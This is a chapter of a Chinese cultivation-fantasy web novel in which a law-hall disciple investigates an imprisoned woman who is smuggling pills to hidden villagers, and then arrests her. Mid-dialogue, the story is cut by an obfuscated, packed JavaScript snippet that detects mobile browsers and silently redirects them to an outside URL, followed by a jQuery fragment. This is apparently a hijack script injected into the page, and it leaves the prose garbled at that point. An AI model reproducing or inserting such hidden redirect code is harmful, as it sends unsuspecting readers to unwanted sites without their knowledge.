凌云宗执法堂,酉时三刻,日头西斜,将堂前十丈高玄铁巨剑影子拉得极长,斜斜切过广场青石板,形成一道无法逾越的界碑。
剑身刻着八个大字:法不容情,规不容私。每一字每一笔深刻沟壑,填着暗红朱砂,暮色里泛着血一样的光。
凌知岳站立剑下,一身墨黑劲装,腰悬长剑,剑鞘是纯粹玄铁,未着任何纹饰,他身姿挺拔如松,面容冷峻如铁,眉眼间看不出丝毫情绪,只有一种近乎刻板的严肃。
他是执法长老凌衡冥的独子,也是凌云宗百年来天赋最高的剑道奇才,十八岁筑基,二十二岁筑基中期,如今二十五岁,已是筑基后期,距离金丹只差一线。
更关键的是,凌知岳恪守门规,行事刚正,从未有过半分徇私,他是全宗门公认,下一任执法首座的不二人选。
“凌师兄。”
一个执法弟子快步走来,手里捧着一枚玉简,躬身递上,“刚收到匿名举报信,直接投到堂前铁面箱里。”
凌知岳接过玉简,注入一丝灵力,玉简表面浮现几行字,字迹潦草,显然是用左手写就,以防被认出笔迹:“思过崖巽峰罪徒叶听竹,于幽禁期间私通外界,传递丹药符箓,崖下暗渠疑有凡民藏匿。请执法堂彻查。”
没有落款,没有日期。
凌知岳眼神未见丝毫波动,他收起玉简,看向那名弟子,“举报信什么时候投的?”
“大约一个时辰前,值守弟子听见铁面箱有响动,打开就发现了。”
“可有目击者?”
“没有,当时正值换岗,广场上无人。”
凌知岳点了点头,转身走向执法堂内殿,里面空旷,四壁皆黑,只有正中央悬着一盏长明灯,灯火幽绿,照得人脸色发青。
凌衡冥端坐铁椅,正闭目养神,听到脚步声,他睁开眼。
“父亲。”凌知岳躬身行礼。
“何事?”凌衡冥声音沙哑低沉。
凌知岳将玉简递上。
凌衡冥接过扫了一眼,眉头不可揆度地皱了一下,“叶听竹,怎么又是她。”他放下玉简,看向儿子,“你怎么看?”
“匿名举报,证据不足。”凌知岳声音平淡:“但铁面箱的举报,按门规,必须彻查。”
“没错。”凌衡冥站起身,走到墙边,那里挂着一幅巨大南境地图,上面密密麻麻标注着灵脉节点、宗门势力范围、禁地区域,他手指落向思过崖位置,轻轻一点。
“思过崖是刑地,崖下万丈深渊,按理说,不可能有人藏匿。”他顿了顿:“但黑石村那些逃民,至今,没有找到。”
凌知岳眼神一凝:“父亲怀疑,他们藏在思过崖下?”
“非为怀疑,只是推测。”凌衡冥转过身,“当初清剿黑石村,第三队虽然任务失败,但也探查到一些信息,那村子地下有暗河通向断龙山脉深处,思过崖,正是断龙山脉的支脉。”
他走到凌知岳面前,盯着他的眼睛,“如果,那些逃民真的藏于崖下,而叶听竹,又在暗中联系他们。这意味着什么,你应该清楚。”
凌知岳沉默片刻:“意味着她不仅违抗门令还在继续私通凡民,意味着思过崖的禁制可能存在漏洞,意味着宗门威严受损。”
“还有呢?”
凌知岳抬起头,眼神锐利无比,“意味着她可能掌握了某种无需灵力,便能传递物品的方法,这种方法,如果被更多囚徒掌握,或者被外界知晓,会对宗门的刑罚体系,造成根本性冲击。”
凌衡冥满意地点头:“不愧是我儿,看得透彻。”
他坐回铁椅,手指轻叩扶手,“所以,这件事必须查,还要查得干净,查得彻底。”
“我去。”凌知岳毫不犹豫。
“你?”凌衡冥看着他,“你是下一任执法首座,亲自去查一个炼气期罪徒,会不会有些大材小用了。”
“门规面前,没有身份高低。”凌知岳打断他,声音斩钉截铁:“既然接到举报,就该按规彻查,我去最合适。因我是执法堂核心弟子,有权限调阅思过崖所有禁制记录,也有权力对罪徒进行任何必要的审讯。”
凌衡冥看了他很久,最终点头,“好,你去,带两个人,低调行事,记住。”他顿了顿,一字一句道:“如果举报属实,叶听竹罪加三等,当处极刑,崖下凡民,格杀勿论。”
凌知岳躬身:“弟子明白。”
“还有。”凌衡冥补充说道:“查的时候,注意她有没有接触过,不该接触的东西。”
凌知岳微微蹙眉:“父亲是指?”
“思过崖存在了几百年,历任囚徒无数,有些罪徒,可能留下过一些不该留下的东西。”凌衡冥眼神幽深,“尤其是,那些修为高深心思缜密的老家伙,叶听竹能在禁灵锁封锁下存活这么久,还疑似与外界联系,这本身,就不正常。”
“我会注意。”
凌知岳行礼告退,走出执法堂时,暮色已深,天边最后一抹残阳嗜血,浸红整片天空。
玄铁巨剑影子彻底吞没广场,黑暗从四面八方涌来,笼罩成一张无形帘幕。
凌知岳抬头,望了一眼思过崖方向,暮色中,那座绝壁只剩一个模糊轮廓,俨然一柄插向天空的黑色利刃。
叶听竹。
他记得这个名字。
之前那场轰动宗门的小比,他虽未亲临,但也听说了一个炼气九层的女弟子,因救护外门弟子,两次放弃取胜机会,最终被判定道心不坚,终身幽禁。
当时凌知岳觉得,这判决有些重了,但也仅此而已,门规就是门规,违令就是违令,同情不该影响判断。
如今,这个人再次出现在他的任务里,私通外界、传递丹药符箓,如果属实,那她真的是冥顽不灵。
凌知岳深吸一口气,压下心中连自己都不愿承认的一丝微弱波动,转身朝着执事殿走去,他需要调阅思过崖所有记录,需要安排人手,需要准备审讯工具。
夜色渐浓,执法堂灯火彻夜未熄。
思过崖上,叶听竹对此一无所知,她刚投下这个月最后一颗聚元丹,米粒大小,色泽暗淡,这已是她目前能炼出的最好一颗了。
线头被轻轻拽动三下,接着,又多了一下,跟平常一样,叶听竹靠着洞口,嘴角泛起一丝浅淡弧度。
忽然间,她听见了铁索桥传来摇晃声,非为风声肆意,有人上桥了。
叶听竹微微蹙眉:这个时候?执法堂检查才刚过去十天,怎么会有人来?
她心里一紧,迅速将洞口用碎石和苔藓遮掩,退回暗室,端坐石床,做出打坐调息样子,禁灵锁虽让她根本无法修炼,但姿态还是要做的。
脚步声越来越近,这次不止一个人,三个人停在洞窟入口。
“叶听竹。”
一个冰冷、年轻、不带丝毫情绪的声音响起。
叶听竹睁开眼看向洞口,暮色中,一个身穿墨黑劲装的年轻男子站立那处,身形挺拔,面容冷峻,他身后跟着两名执法弟子,皆佩剑肃立。
叶听竹不认识这个人,他眼神太冷了,有如万年寒冰,看过来时,连洞窟里的温度都跟着下降几分。
“你是?”她站起身垂首行礼,这是囚徒对执法者的基本礼节。
“执法堂,凌知岳。”
三个字就跟三块重石一般,砸入深潭,叶听竹的心,跟着沉了下去。
凌知岳。
这个名字她听过,执法长老凌衡冥的独子,宗门百年来最年轻的筑基后期,下一任执法首座。
他为什么会来思过崖?这种人物,通常只处理宗门大事,怎么会亲自来查一个幽禁罪徒?
除非……
叶听竹下意识看了一眼墙角那个被遮掩的洞口,双眸潜藏不安。
“叶听竹。”凌知岳走进洞窟,目光锋利,扫过每一个角落,“接到举报,称你于幽禁期间私通外界,传递丹药符箓。可有此事?”
叶听竹垂着眼:“弟子不知师兄所言何事,思过崖绝壁孤悬,禁制森严,弟子身戴禁灵锁,如何能与外界联系?”
“是吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347785|199558||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?”凌知岳走到她面前,距离三尺停下,“那这些,是什么?”
他从怀中掏出由石隙草叶缝制的小布囊,上面用血写着一个安字。
正是叶听竹三个月前,投下去的第一个小囊,她呼吸停滞了一瞬,脸上却依旧平静,“弟子不认识此物。”
“不认识?”凌知岳扯开布囊,倒出里面的东西,半颗早已干枯的养脉丹,还有那张写着安字的布条,“这些丹药这些字迹,你也不认识?”
“弟子从未见过。”
凌知岳盯着她许久,忽然笑了,那笑容不着温度,尽是嘲讽,“叶听竹,你以为否认就有用吗?”他转身,对身后执法弟子吩咐:“搜,一寸一寸地搜,崖洞、暗室、石缝,任何可疑之处,都不能放过。”
“是!”
两名弟子立刻动手。
叶听竹站立原地,指甲深深掐进掌心,看着他们翻动石床上的草席,检查墙上的刻字,甚至敲打每一寸石壁,寻找暗格,寻找通道。
她的心跳得很快,但脸上依旧维持着近乎麻木的平静,眼下不能慌,慌了,就全完了。
暗室应该不会被发现,青竹散人留下的禁制连筑基后期的凌知岳,恐怕也察觉不到。
但那个洞口,她看向墙角,碎石和苔藓的遮掩并不完美,如果仔细检查的话,恐怕……
“师兄!”一名执法弟子叫道,他蹲在墙角,指着那堆碎石,“这里,好像不太对劲。”
凌知岳走过去蹲下身,手指轻触碎石,他猛地一掀!
碎石飞散,苔藓剥离,露出拳头大小洞口,边缘处还残留着叶听竹昨日滴下,还尚未完全干涸的水迹。
凌知岳眼神彻底冷了,他转过头看向叶听竹,那双眼睛里仅剩寒意,几乎要将她冻结。
“叶……听……竹……”他一字一句,声音里听不出愤怒,只有冰冷平静,“如今,你还有什么话说?”
洞窟里死寂,洞口仅有罡风呼啸,配合无数冤魂哭喊。
叶听竹看着洞口,看着凌知岳手中小布囊,看着两名执法弟子冰冷眼神。
她知道自己完了,奇怪的是,心里反而平静了。
叶听竹抬起头,迎上凌知岳的目光,“凌师兄。”她轻声说,声音平稳:“那些丹药,是我炼的;那个洞口,是我挖的;下面的人,是我在救。”
“所以,举报属实?”
“属实。”
凌知岳看着她,眼神里第一次闪过一丝微弱,类似困惑情绪,他不明白,这个女人明明已经被终身幽禁,明明已经修为尽废,明明只要老老实实待着,或许,几十年后还能因表现良好减刑。
为什么要做这种事?为什么要为了那些素不相识的凡民,一次次把自己推向绝路?
“为什么?”他问出了口。
叶听竹笑了,笑容轻淡,就是即将熄灭的烛火。
“凌师兄。”她说:“您修的是法不容情的道,我修的是仙者护生的道。”
“道不同。”
“所以,您永远不会明白。”
凌知岳沉默许久,他站起身,对执法弟子下令:“封死洞口,彻查崖下,叶听竹,听候发落。”
“是!”
两名弟子上前,一左一右架住叶听竹,她未曾反抗,只是最后看了一眼那个洞口,看了一眼暗室方向,看了一眼青竹散人白骨所在位置,随后闭上眼。
押出洞窟时,罡风扑面,刺骨地冷,脚下铁索桥摇摇晃晃,黑暗中深渊张开巨口。
凌知岳站立最前面,墨黑身影融入夜色。
叶听竹夹在中间,抬腿时脚腕禁灵锁随着步伐叮当作响,她知道,这一次恐怕真的没有回头路了,奇怪的是,她并不后悔。
就像青竹散人说的,有些事明知是绝路也要走,因为那是道,是她选的道。
夜色墨黑,铁索桥摇晃声越来越小,思过崖重归寂静。
只有那个被重新封死的洞口,黑暗中张开了一只永远无法闭上的眼睛,静静凝视着,这片无情的天。